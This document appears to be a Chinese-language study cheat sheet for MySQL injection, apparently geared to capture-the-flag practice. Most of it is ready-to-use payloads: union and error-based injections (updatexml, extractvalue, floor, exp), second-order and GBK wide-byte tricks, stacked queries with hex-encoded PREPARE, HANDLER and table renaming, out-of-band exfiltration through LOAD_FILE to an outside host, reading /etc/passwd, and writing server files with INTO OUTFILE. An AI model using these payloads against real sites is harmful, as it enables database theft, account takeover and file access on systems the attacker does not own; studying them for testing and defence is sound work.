Mysql Injections
Mysql Injections
前置
Web
Spaces
:如果未编码,可能表示请求数据的结束&
: 解释为参数分隔符#
: 解释为片段标识符
GET请求#
和 -- ?
(?可以为任意字符) 表示注释,可以使它们后面的语句不被执行,可以使用--%20
,把空格转换为urlcode编码格式,同理把#
变成%23
,也可以注释
POST请求#
和--?
都能注释后面的语句
schema结构:
- information_schema.schemata:记录数据库信息的表
- information_schema.tables:记录表名信息的表
- information_schema.columns:记录列名信息的表
- schema_name:数据库名
- table_name:表名
- column_name:列名
- table_schema:表的数据库名
联合注入
可以使用 union 语句,且有回显位
常用语句和函数
- order by:对指定的字段对结果集进行排序,如果没有该字段就会报错,sql注入用此来判断字段数
- select:从数据库中选取数据
- union:合并两个或多个select语句,select 查询的字段数需要一致
- where:有条件地从表中选取数据
- limit 0,1:从0开始的1个数据
- database():返回当前数据库
- concat(str1,str2,…,strn) 将多个数据连成字符串
- concat_ws(sep,str1,str2,…strn) 将多个数据连成字符串,中间用sep分隔
- group_concat(str1,str2,…,strn) 将多个数据连成字符串,中间用’,’分隔
后端代码
1 | SELECT * FROM 表名 WHERE id='$id' LIMIT 0,1; |
注入:闭合'
注释后面的语句
1 | ?id=' union select 字段1,……,字段2,table_name from information_schema.tables where schema_name=database() %23 |
报错注入
不能使用 union()函数,或者没有回显位,源代码中需要有数据库报错的函数
updatexml
updatexml(xml_doument,XPath_string,new_value):
- 第一个参数:是string格式,为XML文档对象的名称
- 第二个参数:代表路径,Xpath格式的字符串例如
- 第三个参数:string格式,替换查找到的符合条件的数据
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax),最多输出32位,主要利用第二个参数,其他参数任意
1 | ?id=1' and updatexml(1,concat(0x7e,(select database())),1) %23 |
extractvalue
extractvalue(XML_document,xpath_string)
- 第一个参数:string格式,为XML文档对象的名称
- 第二个参数:xpath_string(xpath格式的字符串)
与updatexml用法相似,最多输出32位
1 | ?id=1' and extractvalue(1,concat(0x7e,(select database()))) %23 |
floor
floor(num) 返回小于等于num该值的最大整数
count(num) 统计数量
1 | select count(*),concat_ws('-',(select database()),floor(rand(0)*2))as a from users group by a; |
exp
exp(num) 返回以e为底,x的对数
当x>=709,exp()就会引起溢出错误,可以用 ~ 运算符按位取反的方式得到一个最大值
1 | exp(~(select database())); |
盲注
布尔注入|时间注入
GET
1 | import requests |
POST
1 | import requests |
Header
Cookie,User-Agent,Refere
注入方式大差不差,有的需要编码
二次注入
又名:存储型注入
原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在后端代码中可能会被转义,但在存入数据库时还是原来的数据,数据中一般带有单引号和#号,然后下次使用在拼凑SQL中,所以就形成了二次注入。
Example:
在处理注册登录的时候,对输入的用户名中的敏感字符执行转义操作,进行完对应的SQL查询后再将数据存入数据库。比如:输入了admin' #
,网站则会将 ‘ 和 # 转义后进行SQL查询,但是最后存入数据库中的结果仍然是 admin' #
(没有存储转义的数据)
第一次向数据库插入数据存在转义的机制,无法通过第一次SQL的构造就实现注入,但是此时目标数据库中已经存在了SQL注入的注释语句,只要想办法让网站自己去调用这条数据,那么就会造成二次注入
假设成功登录后,在修改密码时网站会自动从数据库中提取你的用户名,由于网站默认数据库中的数据都是安全的,因此当提取数据库中的用户名 admin’ # 的时候,并不会进行转义操作,而是直接拼接到SQL语句中执行。
修改密码执行语句如下:
1 | UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass' |
当我们修改密码的时候,网站则会直接提取数据库中的 admin’ # 拼接到SQL语句中执行,变成:
1 | UPDATE users SET PASSWORD='$pass' WHERE username='admin' #' and password='$curr_pass' |
此时我们的用户是 admin’ # 但是却成功的修改了admin账户的密码。这样我们就可以登录admin账户
宽字节
输入的 ‘ 直接被转义成\了,在一般情况下,此处是不存在SQL注入漏洞的,不过有一个特例,当数据库的编码为GBK时,可以使用宽字节注入,宽字节的格式为 %df’,因为反斜杠的编码为 %5c,而在GBK编码中,%df%5c 是繁体字“連”,所以这时,单引号成功逃逸,报出MySQL数据库的错误
数据库转码:mysql_query(“SET NAME gbk”);
1 | ?id=%df' %23 |
堆叠注入
mysqli_multi_query(mysqli $mysql, string $query): bool
执行一个或多个由分号分隔的查询
1 | ?id=1';show databases; |
SQL预处理
Prepared SQL Statement Syntax (SQL预处理语句语法)
1 | PREPARE stmt_name FROM preparable_stmt; |
1 | SET @stmt_name1,@stmt_name2; |
将 select * from 1919810931114514
进行16进制编码,prepare 会进行编码转换
1 | ';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare qwe from @a;execute qwe;%23 |
Handler
HANDLER 语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表
1 | HANDLER table_name OPEN [ [AS] a] |
1 | 1'; handler `1919810931114514` open as `a`; handler `a` read next;# |
修改表名
1 | RENAME TABLE old_name TO new_name; |
1 | id int unsigned not Null auto_increment primary key; |
1 | 1'; rename table words to qwe; rename table `1919810931114514` to words;alter table qwe add id int unsigned not Null auto_increment primary key;alter table qwe change flag data varchar(100);# |
外带注入
1 | SELECT LOAD_FILE(CONCAT('\\\\',(要查询的语句),'.xx.xx.xx.xx')); |
Sql约束攻击
在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。如”admin”等同于”admin “(admin后有一个空格),查询的结果一样
1 | SELECT * FROM users WHERE username='admin'; |
Quine注入
Quine: 指的是自产生程序,简单的说,就是输入的sql语句与要输出的一致
1 | select * from users uname = "zhangsan", |
Privileges
当前用户
1 | SELECT USER() |
是否具有超级管理员权限
1 | SELECT super_priv FROM mysql.user # Y | N |
显示当前用户root
权限
1 | SELECT grantee, privilege_type FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'" |
LOAD_FILE
读取文件
1 | SELECT LOAD_FILE('/etc/passwd'); |
Writing Files
条件:
FILE
已启用权限的用户- MySQL 全局
secure_file_priv
变量未启用 - 对服务器上我们要写入的位置具有写权限
查看 secure_file_priv
权限,值为空,则可以读取/写入文件到任意位置。
1 | SHOW VARIABLES LIKE 'secure_file_priv'; |
写入文件
1 | SELECT * from users INTO OUTFILE '/tmp/credentials'; |